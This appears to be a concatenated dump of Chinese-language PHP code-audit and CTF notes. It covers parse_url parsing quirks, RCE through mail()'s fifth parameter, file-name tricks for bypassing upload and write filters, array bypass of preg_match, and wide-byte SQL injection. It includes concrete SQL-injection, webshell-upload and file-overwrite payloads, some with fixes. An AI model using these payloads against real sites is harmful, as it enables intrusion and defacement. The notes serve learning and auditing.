1*/可以成功执行,在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 -------------------------------------------------------------------------------- /parse_url 函数trick.md: -------------------------------------------------------------------------------- 1 | ### 端口解析tricks 2 | ``` 3 | 23 | string(14) "/baidu.com:80a" 24 | } 25 | /home/lj/bin/php/bin/parse1.php:12: 26 | array(3) { 27 | 'host' => 28 | string(11) "pupiles.com" 29 | 'port' => 30 | int(1234) 31 | 'path' => 32 | string(11) "/about:1234" 33 | } 34 | /home/lj/bin/php/bin/parse1.php:13: 35 | array(2) { 36 | 'host' => 37 | string(9) "baidu.com" 38 | 'port' => 39 | int(80) 40 | } 41 | ``` 42 | 43 | 第一种情况解析错误,但只要我们在端口后加一个字符,就又可以解析出path了 44 | 45 | 46 | 第二种情况我们在路径后面加上`:` 还是可以解析出端口号 47 | 48 | 第三种情况,说明对端口号做了intval类型转换。 49 | 50 | 我们可以看一下python 的urlparse解析出来的结果 51 | ``` 52 | ParseResult(scheme='', netloc='', path='/baidu.com:80', params='', query='', fragment='') 53 | ParseResult(scheme='', netloc='', path='/baidu.com:80a', params='', query='', fragment='') 54 | ParseResult(scheme='', netloc='pupiles.com', path='/about:1234', params='', query='', fragment='') 55 | ParseResult(scheme='', netloc='baidu.com:80a', path='', params='', query='', fragment='') 56 | ``` 57 | 58 | ## 路径解析tricks 59 | 60 | ``` 61 | $url4 = "//upload?/test/"; 62 | $url5 = "//upload?/1=1&id=1"; 63 | $url6 = "///upload?id=1"; 64 | 65 | var_dump(parse_url($url4)); 66 | var_dump(parse_url($url5)); 67 | var_dump(parse_url($url6)); 68 | ``` 69 | 70 | php7输出结果为: 71 | ``` 72 | array(2) { 73 | 'host' => 74 | string(7) "upload?" 75 | 'path' => 76 | string(6) "/test/" 77 | } 78 | F:\sublime\php\audit\5\parse2.php:22: 79 | array(2) { 80 | 'host' => 81 | string(7) "upload?" 82 | 'path' => 83 | string(9) "/1=1&id=1" 84 | } 85 | F:\sublime\php\audit\5\parse2.php:23: 86 | bool(false) 87 | ``` 88 | 89 | 1. `//upload?`如果是`//`, 则被解析成host, 后面的内容如果有`/`,会被解析出path,而不是query了。 90 | 91 | 这个trick可以用来添加混淆参数,从而可以保护好其他的参数。 92 | 93 | 2. 如果path部分为`///`,则解析错误,返回False 94 | 95 | 96 | 97 | python 的urlparse解析也有这个问题 98 | ``` 99 | ParseResult(scheme='', netloc='', path='/upload', params='', query='/test/', fragment='') 100 | ParseResult(scheme='', netloc='upload', path='', params='', query='/test/xx/', fragment='') 101 | ParseResult(scheme='', netloc='upload', path='/test/', params='', query='', fragment='') 102 | ``` 103 | 104 | ### host解析tricks 105 | 106 | 107 | 108 | 参考; http://pupiles.com/%E8%B0%88%E8%B0%88parse_url.html 109 | 110 | 另外,parse_url一般会用来解析$SERVER变量,其中的几个常用变量: 111 | ``` 112 | echo $_SERVER['REQUEST_URI']."
"; 113 | echo $_SERVER['QUERY_STRING']."
"; 114 | echo $_SERVER['HTTP_HOST']."
"; 115 | 116 | #访问http://localhost:3000/php/audit/5/parse1.php?url=baidu.com#test 117 | >>> 118 | /php/audit/5/parse1.php?url=/baidu.com 119 | url=/baidu.com 120 | localhost:3000 121 | ``` 122 | 123 | 可以看到REQUEST_URI 是path+query部分(不包含fragment) 124 | 125 | QUERY_STRING: 主要是`key=value`部分 126 | 127 | HTTP_HOST 是 `netloc+port` 部分。 128 | 129 | 更多的$_SERVER的值请查看:http://php.net/manual/zh/reserved.variables.server.php 130 | 131 | ### demo 132 | 133 | demo1: 134 | 2016asisctf中的一题 135 | 136 | ``` 137 | string 'parse3.php?' (length=11) 166 | 'path' => string '/1&id=1%27%20union%20select%201,2,3%23' (length=38) 167 | ``` 168 | 169 | 但是我们的$_GET 的参数是可以获取到我们的两个参数: 170 | ``` 171 | array (size=2) 172 | '/1' => string '' (length=0) 173 | 'id' => string '1' union select 1,2,3#' (length=22) 174 | ``` 175 | 176 | 我们只要加一个混淆参数`/1=1` 就可以让parse_url的解析失败。 177 | 178 | 第二种绕过方式: `http://localhost:83///parse3.php?id=1%27%20union%20select%201,2,3%23` 179 | 180 | 我们只需要在path加`///` 三斜杠,就会让parse_url解析失败,导致无法过滤参数。 181 | 182 | ### 网鼎杯第三场comein 183 | ``` 184 | >> 217 | array(4) { 218 | 'scheme' => 219 | string(4) "http" 220 | 'host' => 221 | string(14) "c7f.zhuque.com" 222 | 'user' => 223 | string(11) "localhost.." 224 | 'path' => 225 | string(14) "/..//index.php" 226 | } 227 | ``` 228 | 229 | parse_str 把@前面的内容当作user:password 的认证信息了,从而解析出host为`c7f.zhuque.com` 230 | 231 | 这题我们没法在浏览器中直接访问payload, 因为浏览器的解析规则会认为`@`是一个重定向,从而调整到c7f.zhuque.com网站。 232 | 233 | 我们直接抓包来看一下apache的解析结果。 234 | 235 | apache 成功解析出了`/index.php`的内容。而且必须是`..//` 才能解析出index.php 236 | 237 | > 注意apache,浏览器,parse_uri的解析规则是不一样的,apache的解析规则就是按照请求包里面的host来解析的,但浏览器是按照[scheme]://[user:pass@]host:port/path?key=value#fragment` 这样来解析出来host,然后构造请求包的。 parse_url虽然是依照浏览器的要求来解析的,但也会出现一些问题。 238 | 239 | 240 | 参考; http://skysec.top/2017/12/15/parse-url%E5%87%BD%E6%95%B0%E5%B0%8F%E8%AE%B0/ -------------------------------------------------------------------------------- /php mail函数.md: -------------------------------------------------------------------------------- 1 | php manual 手册上的介绍 2 | 3 | bool mail ( string $to , string $subject , string $message [, mixed $additional_headers [, string $additional_parameters ]] ) 4 | 5 | ``` 6 | To 目的邮箱地址 7 | Subject 邮箱的主题 8 | Message 邮件的主题部分 9 | Headers 头信息 10 | Parameters 参数设置 11 | ``` 12 | 13 | ``` 14 | 24 | ``` 25 | 26 | PHP中的mail()函数在一定的条件下可以造成远程代码执行漏洞,mail()函数一共具有5个参数,当第五个参数存在并且我们可控的时候,就会造成代码执行漏洞,这个漏洞最近被RIPS爆出了一个command execution via email in Roundcube 1.2.2,就是由于不正当的使用了mail()函数并且未对参数加以过滤造成的。 27 | 28 | 29 | 30 | 这个参数主要的选项有: 31 | ``` 32 | -O option = value 33 | QueueDirectory = queuedir 选择队列消息 34 | 35 | -X logfile 36 | 这个参数可以指定一个目录来记录发送邮件时的详细日志情况,我们正式利用这个参数来达到我们的目的。 37 | 38 | -f from email 39 | 这个参数可以让我们指定我们发送邮件的邮箱地址。 40 | ``` 41 | 42 | 现在我们尝试在本地复现出这个漏洞,注意事项: 43 | 44 | ``` 45 | 目标系统必须使用函数mail发送邮件,而不是使用SMTP的服务器; 46 | mail函数需要配置实用sendmail系统来进行邮件的发送; 47 | PHP配置中必须关闭safe_mode功能; 48 | 必须知道目标服务器的Web根目录 49 | ``` 50 | 51 | test.php 52 | 53 | ``` 54 | $to = 'a@b.c'; 55 | $subject = ''; 56 | $message = ''; 57 | $headers = ''; 58 | $options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php'; 59 | mail($to, $subject, $message, $headers, $options); 60 | ``` 61 | 62 | 运行即可再/var/www/html/目录下生成rce.php文件,内容为: 63 | 64 | ``` 65 | 32512 <<< To: a@b.c 66 | 32512 <<< Subject: 67 | 32512 <<< X-PHP-Originating-Script: 0:mail.php 68 | 32512 <<< 69 | 32512 <<< 70 | 32512 <<< [EOF] 71 | 32512 === CONNECT [127.0.0.1] 72 | 32512 <<< 220 lj ESMTP Sendmail 8.15.2/8.15.2/Debian-3; Sun, 30 Sep 2018 16:32:30 +0800; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1] 73 | 32512 >>> EHLO lj 74 | 32512 <<< 250-lj Hello localhost [127.0.0.1], pleased to meet you 75 | 32512 <<< 250-ENHANCEDSTATUSCODES 76 | 32512 <<< 250-PIPELINING 77 | 32512 <<< 250-EXPN 78 | 32512 <<< 250-VERB 79 | 32512 <<< 250-8BITMIME 80 | 32512 <<< 250-SIZE 81 | 32512 <<< 250-DSN 82 | 32512 <<< 250-ETRN 83 | 32512 <<< 250-AUTH DIGEST-MD5 CRAM-MD5 84 | 32512 <<< 250-DELIVERBY 85 | 32512 <<< 250 HELP 86 | 32512 >>> MAIL From: SIZE=89 AUTH=root@lj 87 | 32512 <<< 250 2.1.0 ... Sender ok 88 | 32512 >>> RCPT To: 89 | 32512 >>> DATA 90 | 32512 <<< 250 2.1.5 ... Recipient ok 91 | 32512 <<< 354 Enter mail, end with "." on a line by itself 92 | 32512 >>> Received: (from root@localhost) 93 | 32512 >>> by lj (8.15.2/8.15.2/Submit) id w8U8WToP032512; 94 | 32512 >>> Sun, 30 Sep 2018 16:32:29 +0800 95 | 32512 >>> Date: Sun, 30 Sep 2018 16:32:29 +0800 96 | 32512 >>> From: root 97 | 32512 >>> Message-Id: <201809300832.w8U8WToP032512@lj> 98 | 32512 >>> To: a@b.c 99 | 32512 >>> Subject: 100 | 32512 >>> X-PHP-Originating-Script: 0:mail.php 101 | 32512 >>> 102 | 32512 >>> 103 | 32512 >>> . 104 | 32512 <<< 250 2.0.0 w8U8WUsh032770 Message accepted for delivery 105 | 32512 >>> QUIT 106 | 32512 <<< 221 2.0.0 lj closing connection 107 | ``` 108 | 109 | 我们指定好使用mail函数时的五个参数,在第二个参数中放入我们打算写入的内容,第五个参数中指定我们要写入的目录(必须是PHP文件) 110 | 111 | 截取片段mail.c的源码 112 | ``` 113 | PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC) 114 | { 115 | #if (defined PHP_WIN32 || defined NETWARE) 116 | int tsm_err; 117 | char *tsm_errmsg = NULL; 118 | #endif 119 | FILE *sendmail; 120 | int ret; 121 | char *sendmail_path = INI_STR("sendmail_path"); 122 | char *sendmail_cmd = NULL; 123 | char *mail_log = INI_STR("mail.log"); 124 | char *hdr = headers; 125 | #if PHP_SIGCHILD 126 | void (*sig_handler)() = NULL; 127 | #endif 128 | 129 | ... 130 | 131 | if (extra_cmd != NULL) { 132 | spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd); 133 | } else { 134 | sendmail_cmd = sendmail_path; 135 | } 136 | 137 | ... 138 | 139 | #ifdef PHP_WIN32 140 | sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL TSRMLS_CC); 141 | #else 142 | /* Since popen() doesn't indicate if the internal fork() doesn't work 143 | * (e.g. the shell can't be executed) we explicitly set it to 0 to be 144 | * sure we don't catch any older errno value. */ 145 | errno = 0; 146 | sendmail = popen(sendmail_cmd, "w"); 147 | #endif 148 | if (extra_cmd != NULL) { 149 | efree (sendmail_cmd); 150 | } 151 | ``` 152 | 153 | 我们可以看到mail函数的底层实际上是调用sendmail 函数来执行命令的。 154 | 155 | 156 | PHPMailer < 5.2.18和Roundcube 两个应用都爆出来过mail函数导致的命令执行漏洞。 157 | 158 | Roundcube 1.2.2 远程命令执行漏洞分析 https://paper.seebug.org/138/ -------------------------------------------------------------------------------- /代码审计圈/linux 下通配符的技巧.md: -------------------------------------------------------------------------------- 1 | 链接: https://t.zsxq.com/VrnQjeY 2 | 3 | ``` 4 | 另外要注意 cat本身命令是无法用?代替的,只能是绝对路径 `/bin/cat` 36 | 37 | -------------------------------------------------------------------------------- /代码审计圈/some-articles.md: -------------------------------------------------------------------------------- 1 | ### Tricks技巧类 2 | 3 | [《利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单》](https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html) 4 | 5 | [客户端 session 导致的安全问题 | 离别歌](https://www.leavesongs.com/PENETRATION/client-session-security.html) 6 | 7 | [记一次腾讯SDK源代码审计后的CSRF攻击 - 有思想的安全新媒体](https://www.anquanke.com/post/id/102029) 8 | 9 | ### 代码审计类 10 | 11 | [分析、还原一次typecho入侵事件 – Lz1y's Blog](http://www.lz1y.cn/archives/1254.html) 12 | [某商城文件上传漏洞与SQL注入漏洞 - 先知社区 ](http://xianzhi.aliyun.com/forum/topic/2203) 13 | 14 | 15 | ### Tool 16 | https://t.zsxq.com/F2jEUzv -------------------------------------------------------------------------------- /代码审计圈/经典漏洞形式--上传后删除.md: -------------------------------------------------------------------------------- 1 | 链接: https://t.zsxq.com/u7MFQz3 2 | 3 | ``` 4 | 14 | ``` 15 | 16 | ## 法1 17 | 查看php源码,其实我们能发现,php读取、写入文件,都会调用php_stream_open_wrapper_ex来打开流(图1),而判断文件存在、重命名、删除文件等操作则无需打开文件流。 18 | 我们跟一跟php_stream_open_wrapper_ex就会发现,其实最后会使用tsrm_realpath函数来将filename给标准化成一个绝对路径。而文件删除等操作则不会,这就是二者的区别。 19 | 所以,如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉“../”等相对路径,所以不会出错;判断、删除的时候因为不会处理,所以就会出现“No such file or directory”的错误。 20 | 所以法1的答案是: 21 | 22 | name=xxxxx/../1.php 23 | 24 | (这个方法是仅限Linux,因为Windows的文件操作API也会处理文件路径) 25 | 26 | 27 | ## 法2 28 | name=1.php/. 29 | 这种方法可以阅读此文:链接:[php & apache2 &操作系统之间的一些黑魔法 | wonderkun's|blog](http://wonderkun.cc/index.html/?p=626) 30 | 原理我就不多说了,也是因为是否有php_stream_open_wrapper_ex导致的。 31 | 32 | 33 | ## 法3 34 | Windows下方法: 35 | ``` 36 | info=webshell&name=1.php:test 37 | info=webshell&name=1.ph< 38 | ``` 39 | 依次发送上述两个请求,第一次请求:会截断文件名,导致创建一个新的空白文件1.php;第二次使用了一个通配符“<”,把内容写入了第一步创建的文件。 40 | 具体原理可以阅读这篇文章 链接:[pkav之当php懈垢windows通用上传缺陷 | wooyun-2014-071540](http://www.loner.fm/bugs/bug_detail.php?wybug_id=wooyun-2014-071540) 41 | 42 | 简单介绍了几种常用方法,都是以前说过的旧知识,也以此来告别旧的一年。祝大家新年里找到更多新知识~ -------------------------------------------------------------------------------- /危险的file_put_contents函数.md: -------------------------------------------------------------------------------- 1 | ### 对内容的正则过滤 -- 数组绕过 2 | 3 | 在EIS上遇到一道文件上传的题,发现过滤了`<`,这样基本很多姿势都无效了,想了很久没做出来这题,赛后才知道是利用数组来绕过, 这里分析了下原理 4 | 5 | 来看下`file_put_contents`函数第二个参数data的官网定义: 6 | ``` 7 | data 8 | 要写入的数据。类型可以是 string,array 或者是 stream 资源(如上面所说的那样)。 9 | 10 | 如果 data 指定为 stream 资源,这里 stream 中所保存的缓存数据将被写入到指定文件中,这种用法就相似于使用 stream_copy_to_stream() 函数。 11 | 12 | 参数 data 可以是数组(但不能为多维数组),这就相当于 file_put_contents($filename, join('', $array))。 13 | ``` 14 | 15 | 16 | 可以看到,data参数可以是数组, 会自动做join('',$array)转换为字符串的 17 | 18 | 但我们字符串过滤函数一般是用`preg_match`函数来过滤的,如: 19 | ``` 20 | if(preg_match('/\ 46 | ``` 47 | 48 | 于是我么可以传入`content[]=&ext=php` 这样来绕过 49 | 50 | 51 | #### 修复方法 52 | 修复方法是使用`fwrite` 函数来代替危险的`file_put_contents`函数,fwrite函数只能传入字符串,如果是数组会出错返回false 53 | 54 | ``` 55 | 72 | ``` 73 | 74 | ### 对文件名的正则过滤 -- 特殊的文件名写入技巧 75 | 76 | 对于一些正则绕过: 77 | ``` 78 | $name = $_GET['name']; 79 | $content = $_GET['content']; 80 | if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $name)){ 81 | die(); 82 | } 83 | file_put_contents($name,$content); 84 | ``` 85 | 86 | 绕过方法 87 | ``` 88 | file_put_contents("1.php/../1.php", 'fff'); 89 | file_put_contents("2.php/.", 'fff'); 90 | ``` 91 | 92 | 原理就是函数内部会对文件名处理,循环删除`./` 93 | 具体参考: http://wonderkun.cc/index.html/?p=626 94 | 95 | 96 | 但这种方法的一个缺陷是无论是在windows上还是linux上,每次都只可以创建新文件,不能覆盖老文件。 97 | 98 | 特殊的写文件名技巧2: 99 | 100 | xxx/../index.php/. 101 | 102 | 这是在0ctf上面学到的一个姿势 103 | 104 | 用这个payload可以覆盖掉老文件,但这个方法只在linux下面有效,在window下面无效。 原理就是最后会用`php_stream_stat` 去判断文件是否存在,结果是判断为不存在,因此被当成是新文件去写入了。 105 | 106 | 具体原理参考: https://www.anquanke.com/post/id/103784 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /宽字节注入及数据库编码分析.md: -------------------------------------------------------------------------------- 1 | ### mysql的编码 2 | 3 | 在mysql中有几种常见编码: 4 | 5 | ``` 6 | mysql> show variables like 'character%'; 7 | +--------------------------+----------------------------+ 8 | | Variable_name | Value | 9 | +--------------------------+----------------------------+ 10 | | character_set_client | latin1 | 11 | | character_set_connection | latin1 | 12 | | character_set_database | latin1 | 13 | | character_set_filesystem | binary | 14 | | character_set_results | latin1 | 15 | | character_set_server | latin1 | 16 | | character_set_system | utf8 | 17 | | character_sets_dir | /usr/share/mysql/charsets/ | 18 | +--------------------------+----------------------------+ 19 | 20 | mysql> set names utf8; 21 | Query OK, 0 rows affected (0.00 sec) 22 | 23 | mysql> show variables like 'character%'; 24 | +--------------------------+----------------------------+ 25 | | Variable_name | Value | 26 | +--------------------------+----------------------------+ 27 | | character_set_client | utf8 | 28 | | character_set_connection | utf8 | 29 | | character_set_database | latin1 | 30 | | character_set_filesystem | binary | 31 | | character_set_results | utf8 | 32 | | character_set_server | latin1 | 33 | | character_set_system | utf8 | 34 | | character_sets_dir | /usr/share/mysql/charsets/ | 35 | +--------------------------+----------------------------+ 36 | 8 rows in set (0.00 sec) 37 | ``` 38 | 39 | 在默认情况下, mysql字符集为latin1, 而执行了`set names utf8;` 以后, `character_set_client`, `character_set_connection`, `character_set_results` 等与客户端相关的配置字符集都变成utf8, 但`character_set_database`, `character_set_server` 等服务端相关的字符集还是latin1, 因为这一条语句, 导致客户端和服务端的字符集出现了差别, 既然有差别, mysql在执行查询的时候, 就设计到字符集的转换。 40 | 41 | 我们用php连接mysql服务器的时候设置的编码`set names gbk`, 就等同于: 42 | 43 | ``` 44 | set character_set_client='gbk' //客户端编码 45 | set charseter_set_connection='gbk' //连接器编码 46 | set charsetter_set_results='gbk'//返回值编码 47 | ``` 48 | 49 | 连接顺序为: `客户端 <= 连接器 <= 服务端 `, 这中间如果有哪一个编码不一致就很容易导致乱码的问题, 50 | 51 | 52 | 2008年鸟哥曾在博客中讲解了Mysql字符集:(http://www.laruence.com/2008/01/05/12.html) 53 | 54 | > MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection; 55 | 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集 56 | 57 | ### 宽字节注入 58 | 59 | 在使用php连接mysql服务器的时候, 当设置 `"set character_set_client=gbk"`(设置其他两个不会触发sql注入) 这时就会导致一个编码转换的注入问题, 也就是我们熟悉的宽字节注入 60 | 61 | 我们来分析下, 当我们提交`id=1%df’` 的时候,假设后端用了addslashes函数处理sql语句变成了`select * from articles where id=1%df\'` 62 | 63 | 如果php 连接mysql的时候设置了client客户端的字符集为gbk, 那么mysql服务器对查询语句就会进行GBK转码, mysql服务器数据库一般都是latin1编码,而gbk是两个字符表示一个汉字,因此,`%df 和转义字符%5c就会组成成一个%df%5c的汉字, 吃掉了一个转义符,导致单引号逃逸 64 | 65 | 解决方法: 66 | 67 | 1. 一般官方推荐把charackter_set_client 设置为binary 或utf-8 68 | 2. 使用mysql_real_escape_string()函数, 该函数会自动识别编码问题 69 | 70 | 71 | 72 | > 另外在高版本的mysql中好像修复了该问题 73 | 74 | 75 | 范围: 据gbk编码,第一个字节ascii码大于128, 即0x81~0xff 76 | 77 | ### mysql的其他编码问题 78 | 79 | mysql的编码问题还会导致如下问题 80 | ![](https://www.leavesongs.com/media/attachment/2017/04/09/e25177ac-27e4-4ad7-92a5-3ff6a728718a.6f8fe63f3367.jpg) 81 | 82 | ``` 83 | query("SELECT * FROM z_users where username = '{$username}' and password = '{$password}'"); 90 | 91 | ``` 92 | 93 | 核心代码如上 94 | 95 | 那么,为什么执行`SELECT * FROM user WHERE username='admin\xC2' and password='admin'`却可以查出用户名是admin的记录? 96 | 97 | 当设置客户端的字符集位utf8的时候,这时mysql的编码转换为: 98 | 99 | utf8-utf8-latin1 100 | 101 | 最后执行将数据库里的`admin` 和传入的`admin\xC2` 进行比较的时候, `admin`是一个latin1字符串 102 | 103 | 大佬猜测原因是Mysql在转换字符集的时候, 将不完整的字符给忽略了 104 | 105 | 参考: https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html 106 | 107 | -------------------------------------------------------------------------------- /特殊的文件写入技巧.md: -------------------------------------------------------------------------------- 1 | > move_uploaded_file, file_put_contents,copy,readfile,file,fopen都存在的一种特殊文件名的写入技巧 2 | 3 | ``` 4 | $name = "index.php/."; 5 | $name1 = "xxx/../index.php/."; 6 | ``` 7 | 对于这两种文件名,如果我们用is_file函数判断,发现都是false,即判断为不是文件或文件不存在。 8 | 9 | 但上面这些函数判断的时候会认为$name文件不存在,但$name1文件存在,从而可能导致一些特殊的文件读取或者文件写入的漏洞。 10 | 11 | ### file_put_contents() 12 | ``` 13 | $name = $_GET['name']; 14 | $content = $_GET['content']; 15 | $filename = $_FILES['file']['name']; 16 | if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){ 17 | die(); 18 | } 19 | file_put_contents($name,$content); 20 | ``` 21 | paylaod: 22 | ``` 23 | file_put_contents("1.php/../1.php", 'fff'); 24 | file_put_contents("2.php/.", 'fff'); //写入新文件,无法覆盖 25 | file_put_contents(""xxx/../index.php/."fff"); //可以覆盖旧文件 26 | ``` 27 | 28 | ### move_uploaded_file() 29 | 30 | 0ctf 上面的一道题目 31 | ``` 32 | case 'upload': 33 | if (!isset($_GET["name"]) || !isset($_FILES['file'])) { 34 | break; 35 | } 36 | echo 'upload file'; 37 | if ($_FILES['file']['size'] > 100000) { 38 | clear($dir); 39 | break; 40 | } 41 | 42 | $name = $dir . $_GET["name"]; 43 | if (preg_match("/[^a-zA-Z0-9.\/]/", $name) || 44 | stristr(pathinfo($name)["extension"], "h")) { 45 | break; 46 | } 47 | echo 'pass one'; 48 | move_uploaded_file($_FILES['file']['tmp_name'], $name); 49 | ``` 50 | 51 | pathinfo 函数可以用`/.` 来绕过,取出来的后缀为空 52 | 53 | move_uploaded_file函数无法写入`index.php/.`文件,执行函数报错但可以写入`xxx/../index.php/.` 这样来绕过重写index.php 54 | 55 | 56 | 测试demo: 57 | ``` 58 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 |
71 | 72 | 73 |
74 | 75 | 76 | ``` 77 | > 注意move_uploaded_file 会判断是否为post上传的文件。 78 | 79 | ### copy 80 | php.net上的解释 81 | 82 | bool copy ( string $source , string $dest [, resource $context ] ) 83 | 将文件从 source 拷贝到 dest。如果 dest 是一个 URL,则如果封装协议不支持覆盖已有的文件时拷贝操作会失败。 84 | 85 | > 如果目标文件已存在,将会被覆盖。 86 | 87 | test.php 88 | ``` 89 | $name = "./index.php"; 90 | $dest = "xxx/../ttt.php/."; 91 | copy($name,$dest); 92 | ``` 93 | 94 | ### readfile 95 | ``` 96 | $name = "index.php/."; 97 | $name1 = "xxx/../index.php/."; 98 | readfile($name); 99 | readfile($name1); 100 | 101 | >>> 102 | PHP Warning: readfile(index.php/.): failed to open stream: No such file or directory in /mnt/hgfs/F/sublime/php/audit/4/file_put_content.php on line 8 103 | ffffffffffff 104 | ``` 105 | 106 | ### file函数 107 | 同readfile函数 108 | ``` 109 | $name = "index.php/."; 110 | $name1 = "xxx/../index.php/."; 111 | file($name1); //$name 读文件失败 112 | 113 | array(1) { 114 | [0]=> 115 | string(12) "ffffffffffff" 116 | } 117 | ``` 118 | 119 | ### fopen函数 120 | ``` 121 | $name = "index.php/."; 122 | $name1 = "xxx/../index.php/."; 123 | $f = fopen($name,'w');fwrite($f,'ffff'); //报错 124 | $f = fopen($name1,'w');fwrite($f,'ffffffffffff'); //写入成功 125 | ``` 126 | 127 | ## 简要分析 128 | 通过之前大佬对file_put_contents函数的分析`http://wonderkun.cc/index.html/?paged=5`可知php源码的`_php_stream_open_wrapper_ex`函数存在问题,而上面这些函数都直接或间接调用了这个函数,导致了这种文件名可以识别成功。 129 | 130 | > move_uploaded_file 和copy函数调用了`php_copy_file_ctx`函数,fopen调用了`php_if_fopen` 这两个函数内部是调用了`_php_stream_open_wrapper_ex`了的。 131 | 132 | -------------------------------------------------------------------------------- /通用代码审计思路.md: -------------------------------------------------------------------------------- 1 | 2 | 在代码审计一书第三章中,作者介绍了四种代码审计的思路 3 | 4 | 5 | ### 1. 逆向追踪,或叫回溯变量 6 | 7 | 一般是检查敏感函数的参数, 然后回溯变量, 判断变量是否可控并且没有经过严格的过滤, 这是一个逆向追踪的过程。 8 | 9 | 优点 10 | : 只需要搜索相应敏感关键字, 即可以快速地挖掘想要的漏洞, 具有可定向挖掘和高效, 高质量的优点。 11 | 12 | 缺点 13 | : 由于没有通读代码, 对程序的整体框架了解不够深入, 在挖掘漏洞时定位利用点会花费一点时间, 另外`对逻辑漏洞挖掘覆盖不到` 14 | 15 | 16 | 17 | ### 2. 正向追踪,或叫跟踪变量 18 | 19 | 先找出哪些文件在接收外部传入的参数, 然后跟踪变量的传递过程, 观察是否有变量传入到高危函数里面, 或者传递的过程中是否有代码逻辑漏洞, 这是一种正向追踪的方式, 这样的挖掘方式比逆向追踪挖掘得更全,但可能没有逆向追踪快。 20 | 21 | 22 | ### 3. 直接挖掘功能点漏洞 23 | 24 | 根据自身的经验判断该类应用通常在哪些功能中会出现漏洞, 直接全篇阅读该部分功能代码。 25 | 26 | 27 | 28 | 29 | ### 4. 通读全文 30 | 回溯参数这种方法并不是和运用在企业中做安全运营时的场景, 在企业中做自身产品的代码审计时, 我们需要了解整个应用的业务逻辑, 才能挖掘到更多更有价值的漏洞, 一般这种方法对新手难度可能有点大,老手一般喜欢这种方法。 31 | 32 | 33 | 通读全文的方法 34 | 35 | 1. index 文件, index是一个程序的入口文件, 所以通常我们只要读一读index文件就可以大致了解整个程序的架构, 运行的流程, 包含的文件, 建议最好先将几个核心目录的index文件都简单读一遍 36 | 2. 函数集文件, 一般在index文件中都会包含函数集文件, 通常命名为functions, common等关键字, 这些文件里面都是一些公共的函数, 提供给其他文件统一调用。 37 | 3. 配置文件, 通常命名中包括config 关键字,里面包含一些功能性配置选项以及数据库配置信息, 还可以注意下参数值是用单引号还是双引号, 如果是双引号, 则很可能会存在代码执行漏洞; 还需要关注以下数据库编码。 38 | 4. 安全过滤文件, 文件过滤文件对我们做代码审计至关重要, 关系到我们挖掘到的可疑点能不能利用, 通常命名中有 filter, safe, check 等关键字, 这类文件主要是对参数进行过滤。 39 | 40 | 41 | 42 | 优点 43 | : 可以更好地了解程序的架构以及业务逻辑, 能够挖掘到更多, 更高质量的逻辑漏洞, 一般老手会喜欢这种方式。 而缺点就是花费的时间比较多, 如果程序比较大, 读起来会比较累。 --------------------------------------------------------------------------------